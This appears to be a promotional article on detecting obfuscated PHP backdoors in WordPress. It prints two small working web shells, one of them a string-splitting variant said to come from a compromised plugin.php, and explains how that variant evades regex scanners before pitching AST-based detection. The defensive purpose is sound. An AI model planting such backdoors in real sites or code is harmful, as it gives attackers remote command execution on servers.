How to Detect Obfuscated PHP Backdoors in WordPress

The Evolution of PHP Obfuscation

Gone are the days when a backdoor was as simple as <?php system($_GET["cmd"]); ?>. Today's WordPress malware is highly sophisticated, designed specifically to evade signature-based antivirus scanners.

Example: The Variable Function Trick

Look at this code snippet found in a compromised wp-includes/plugin.php file:

$a = "s" . "y" . "s" . "t" . "e" . "m";
$b = $_POST["exec"];
@$a($b);

Because the string "system" is broken apart and concatenated dynamically, standard regex scanners looking for system( will miss it entirely.

Why AST (Abstract Syntax Tree) is Required

To defeat this, security researchers must stop reading code as text and start reading it as logic. A PHP tokenizer parses the code into an Abstract Syntax Tree.

When the AST engine evaluates the above code, it resolves the concatenation operations during analysis. It determines that $a evaluates to system, and that a dynamic variable function execution $a() is occurring with user-controlled input $_POST. This flags an immediate critical alert, regardless of how many layers of encoding the attacker uses.

This is exactly the technology powering the Nexura Deep Malware Scanner.